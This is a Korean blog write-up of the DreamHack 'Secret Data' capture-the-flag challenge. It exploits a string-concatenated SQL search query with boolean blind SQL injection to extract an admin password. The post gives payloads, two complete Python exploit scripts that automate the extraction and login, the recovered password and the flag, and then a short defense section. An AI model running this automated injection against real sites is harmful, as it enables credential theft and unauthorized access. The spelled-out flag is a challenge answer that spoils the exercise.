DreamHack Secret Data: Blind SQLi로 admin 비밀번호 추출 → 플래그 획득

2026-03-31·1분 읽기·

DreamHack Secret Data: Blind SQLi로 admin 비밀번호 추출 → 플래그 획득

/search 엔드포인트의 SQL 문자열 직접 결합 취약점을 이용해 블라인드 boolean 방식으로 admin 비밀번호를 한 글자씩 추출하고, /admin에서 최종 플래그를 획득한 전 과정을 정리합니다.

DreamHack 02_Secret_Data 풀이

문제 구조 파악

제공된 소스코드(deploy/app.py)를 열면 라우트가 세 개다.

경로역할SQL 처리 방식
/search데이터 검색문자열 직접 결합 (취약)
/login관리자 로그인파라미터 바인딩 (안전)
/admin플래그 출력로그인 세션 필요

핵심 취약 코드는 아래 형태다.

code
sql = f"SELECT COUNT(*) FROM secret_data WHERE title LIKE '%{query}%'"
 
 

query가 SQL 문맥에 그대로 삽입된다. 응답은 "Found / Not Found" 두 가지뿐이라 직접 데이터를 볼 수는 없지만, 참/거짓 분기가 명확하므로 Blind Boolean SQLi로 비밀번호를 한 글자씩 뽑을 수 있다.


Step 1 — 서비스 구조 확인

메인 화면
메인 화면

상단 내비게이션에 SearchAdmin Login 두 진입점이 보인다. Search가 외부에 노출된 유일한 입력 포인트다.


Step 2 — /search 기본 동작 확인

Search 페이지
Search 페이지

/search는 키워드를 받아 DB에서 제목을 LIKE 검색한다. 응답 메시지만으로 일치 여부를 알 수 있어 블라인드 공격에 최적이다.


Step 3 — 정상 검색: 기준선(Baseline) 확인

정상 검색 결과 (Not Found)
정상 검색 결과 (Not Found)

아무 매칭이 없는 키워드 test를 넣으면 Not found 메시지가 반환된다. 이게 "거짓(False)" 상태의 기준선이다.


Step 4 — Boolean TRUE Payload: SQLi 동작 확인

code
ZZZ' OR 1=1-- -
 
 

Boolean TRUE 결과 (Found)
Boolean TRUE 결과 (Found)

1=1은 항상 참이므로 WHERE 조건 전체가 참이 돼 Found 응답이 돌아온다. SQLi가 동작한다는 직접 증거다.


Step 5 — Boolean FALSE Payload: 대조 확인

code
ZZZ' OR 1=2-- -
 
 

Boolean FALSE 결과 (Not Found)
Boolean FALSE 결과 (Not Found)

1=2는 항상 거짓이므로 다시 Not found로 돌아온다. 참/거짓 응답이 명확히 구분되므로 이제 서브쿼리 조건을 끼워 넣으면 된다.


Step 6 — Blind Boolean으로 admin 비밀번호 추출

참/거짓 분기를 이용해 비밀번호를 한 글자씩 특정한다.

비밀번호 길이 확인:

code
ZZZ' OR (SELECT length(password) FROM users WHERE username='admin')=16-- -
 
 

문자 하나씩 추출 (이진 탐색으로 속도 개선 가능):

code
ZZZ' OR (SELECT substr(password,1,1) FROM users WHERE username='admin')='b'-- -
ZZZ' OR (SELECT substr(password,2,1) FROM users WHERE username='admin')='7'-- -
...
 
 

실제 페이로드를 넣으면 아래처럼 서버가 Found 응답을 돌려준다 — 이 문자가 맞다는 신호다.

substr 페이로드 → Found 응답
substr 페이로드 → Found 응답

이 과정을 자동화하면 아래 코드 한 번으로 비밀번호 전체를 뽑을 수 있다.

code
import requests, string
 
BASE = "http://host3.dreamhack.games:23148"
 
def query(payload):
    r = requests.post(f"{BASE}/search", data={"query": payload}, timeout=10)
    return "Found" in r.text
 
# 1) 비밀번호 길이 확인
length = 0
for i in range(1, 64):
    p = f"ZZZ' OR (SELECT length(password) FROM users WHERE username='admin')={i}-- -"
    if query(p):
        length = i
        break
print(f"[*] password length: {length}")
 
# 2) 한 글자씩 추출
chars = string.ascii_lowercase + string.digits
password = ""
for pos in range(1, length + 1):
    for c in chars:
        p = (
            f"ZZZ' OR (SELECT substr(password,{pos},1) "
            f"FROM users WHERE username='admin')='{c}'-- -"
        )
        if query(p):
            password += c
            print(f"  pos {pos} -> {c}  (so far: {password})")
            break
 
print(f"[+] admin password: {password}")
 
 

16번 반복 후 추출 완료:

Python 실행 결과 (password 추출 결과)
Python 실행 결과 (password 추출 결과)

code
admin password: b7c06238243ba531
 
 

Step 7 — 로그인 → /admin 플래그 획득

Login 페이지 (admin 자격증명 입력)
Login 페이지 (admin 자격증명 입력)

추출한 비밀번호로 로그인을 시도한다: admin / b7c06238243ba531

Admin 패널 — 플래그 확인
Admin 패널 — 플래그 확인

로그인 직후 Admin Panel로 리다이렉트되며 CONFIDENTIAL FLAG 섹션에 플래그가 표시된다.


최종 플래그

code
DH{94c83b97d2292c64d964f68e5ccf4ec9}
 
 

공격 흐름 요약

code
/search 검색 쿼리
  → 문자열 결합 취약점 확인 (Step 3~5)
  → 서브쿼리로 users 테이블 접근
  → 비밀번호 16자 추출 (Step 6)
  → /login으로 admin 인증
  → /admin에서 플래그 획득 (Step 7)
 
 

방어 방법

  • Prepared Statement 강제 — 검색 LIKE도 예외 없이 파라미터 바인딩
  • 에러 및 응답 차이 최소화 — Found/Not Found 같은 이진 응답도 블라인드 공격 채널이 됨
  • 관리자 페이지 접근 통제 강화 — 세션 외에 IP/2FA 추가 레이어 권고

Full Exploit — URL 하나로 플래그까지

아래 코드는 URL만 넘기면 ① SQLi 동작 확인 → ② admin 비밀번호 추출 → ③ 로그인 → ④ /admin 플래그 획득까지 자동으로 실행한다.

code
#!/usr/bin/env python3
"""
DreamHack 02_Secret_Data — Full Blind SQLi Exploit
Usage: python3 exploit.py http://host3.dreamhack.games:23148
"""
import sys
import string
import requests
 
def exploit(base: str):
    session = requests.Session()
 
    # ── 1) SQLi 동작 확인 ──────────────────────────────────────────
    def sqli(payload: str) -> bool:
        r = session.post(f"{base}/search", data={"query": payload}, timeout=10)
        return "Found" in r.text
 
    true_test  = "ZZZ' OR 1=1-- -"
    false_test = "ZZZ' OR 1=2-- -"
    assert sqli(true_test),  "SQLi TRUE 테스트 실패 — 취약점 없거나 URL 확인 필요"
    assert not sqli(false_test), "SQLi FALSE 테스트 실패 — 응답 구분 불가"
    print("[+] SQLi 동작 확인 완료")
 
    # ── 2) admin 비밀번호 길이 확인 ────────────────────────────────
    length = 0
    for i in range(1, 128):
        p = (
            f"ZZZ' OR (SELECT length(password) FROM users "
            f"WHERE username='admin')={i}-- -"
        )
        if sqli(p):
            length = i
            break
    if not length:
        sys.exit("[-] 비밀번호 길이 추출 실패")
    print(f"[+] 비밀번호 길이: {length}")
 
    # ── 3) 비밀번호 문자 추출 (이진 탐색으로 속도 개선) ─────────────
    chars = string.ascii_lowercase + string.digits + string.ascii_uppercase + string.punctuation
    password = ""
    for pos in range(1, length + 1):
        lo, hi = 32, 126          # ASCII printable 범위
        found_char = None
        while lo <= hi:
            mid = (lo + hi) // 2
            p = (
                f"ZZZ' OR (SELECT unicode(substr(password,{pos},1)) "
                f"FROM users WHERE username='admin')>{mid}-- -"
            )
            if sqli(p):
                lo = mid + 1
            else:
                hi = mid - 1
        # lo == 정확한 ascii 코드
        found_char = chr(lo)
        password += found_char
        print(f"  pos {pos:>2} -> {found_char}  ({password})")
 
    print(f"[+] admin password: {password}")
 
    # ── 4) 로그인 ─────────────────────────────────────────────────
    r = session.post(
        f"{base}/login",
        data={"username": "admin", "password": password},
        timeout=10,
        allow_redirects=True,
    )
    if "Login successful" not in r.text and "Admin Panel" not in r.text:
        # fallback: 추출 비밀번호가 대소문자 구분 문제인 경우 재시도
        sys.exit(f"[-] 로그인 실패 (password={password})")
    print("[+] 로그인 성공")
 
    # ── 5) /admin 플래그 획득 ─────────────────────────────────────
    r = session.get(f"{base}/admin", timeout=10)
    import re
    m = re.search(r"DH\{[^}]+\}", r.text)
    if m:
        print(f"\n[FLAG] {m.group(0)}")
    else:
        print("[-] 플래그 패턴 미발견 — /admin 응답 내용 확인 필요")
        print(r.text[:500])
 
if __name__ == "__main__":
    url = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://host3.dreamhack.games:23148"
    exploit(url)
 
 

Full Exploit — URL 하나로 플래그까지 (DH 추출 결과)
Full Exploit — URL 하나로 플래그까지 (DH 추출 결과)

ShareX

이 글이 도움이 됐나요?